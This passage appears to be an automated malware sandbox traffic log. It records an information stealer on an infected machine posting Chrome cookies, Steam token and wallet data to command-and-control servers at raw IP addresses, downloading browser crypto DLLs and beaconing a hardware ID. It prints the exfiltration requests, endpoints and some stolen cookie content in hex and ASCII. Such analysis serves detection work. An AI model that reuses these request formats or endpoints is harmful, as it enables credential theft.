6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 49 45 2d 2d 0d 0a Data Ascii: ------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JJECFIECBGDGCAAAEHIEContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCAAEGDBKJJKECBKFHCHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 41 41 45 47 44 42 4b 4a 4a 4b 45 43 42 4b 46 48 43 2d 2d 0d 0a Data Ascii: ------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCAAEGDBKJJKECBKFHCContent-Disposition: form-data; name="file"------AFCAAEGDBKJJKECBKFHC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDAFBFBKFHJJKEHIEGHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 41 46 42 46 42 4b 46 48 4a 4a 4b 45 48 49 45 47 2d 2d 0d 0a Data Ascii: ------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIDAFBFBKFHJJKEHIEGContent-Disposition: form-data; name="file"------KFIDAFBFBKFHJJKEHIEG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001137001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="message"wallets------EHIJDHCAKKFCBGCBAAEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJKHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="message"files------DAECGCGHCGHCAKECBKJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="file"------KFCFIEHCFIECBGCBFHIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"ybncbhylepme------GDBKKFHIEGDHJKECAAKK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHIHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 64 32 63 63 62 62 65 39 38 63 63 61 31 65 61 62 37 65 65 38 30 30 36 64 36 66 35 35 30 35 63 38 66 35 65 39 62 36 30 66 65 63 62 38 33 34 33 38 37 35 32 30 64 32 39 30 38 30 39 34 64 30 32 38 66 30 36 36 36 66 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"bd2ccbbe98cca1eab7ee8006d6f5505c8f5e9b60fecb834387520d2908094d028f0666ff------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDHDAEBGCAAFIDGCGDHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFBGCGIJKJJKFIDBFCGHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 47 2d 2d 0d 0a Data Ascii: ------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="hwid"20F5399156EA20379026------CBFBGCGIJKJJKFIDBFCGContent-Disposition: form-data; name="build"doma------CBFBGCGIJKJJKFIDBFCG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAFHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"20F5399156EA20379026------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKKJECAKEHJJJDBAFHost: 185.215.113.37Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 35 33 39 39 31 35 36 45 41 32 30 33 37 39 30 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 4b 4a 45 43 41 4b 45 48 4a 4a 4a 44 42 41 46 2d 2d 0d 0a Data Ascii: ------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="hwid"20F5399156EA20379026------EBFBKKJECAKEHJJJDBAFContent-Disposition: form-data; name="build"doma------EBFBKKJECAKEHJJJDBAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 42 32 43 37 38 42 37 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79BB2C78B75C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
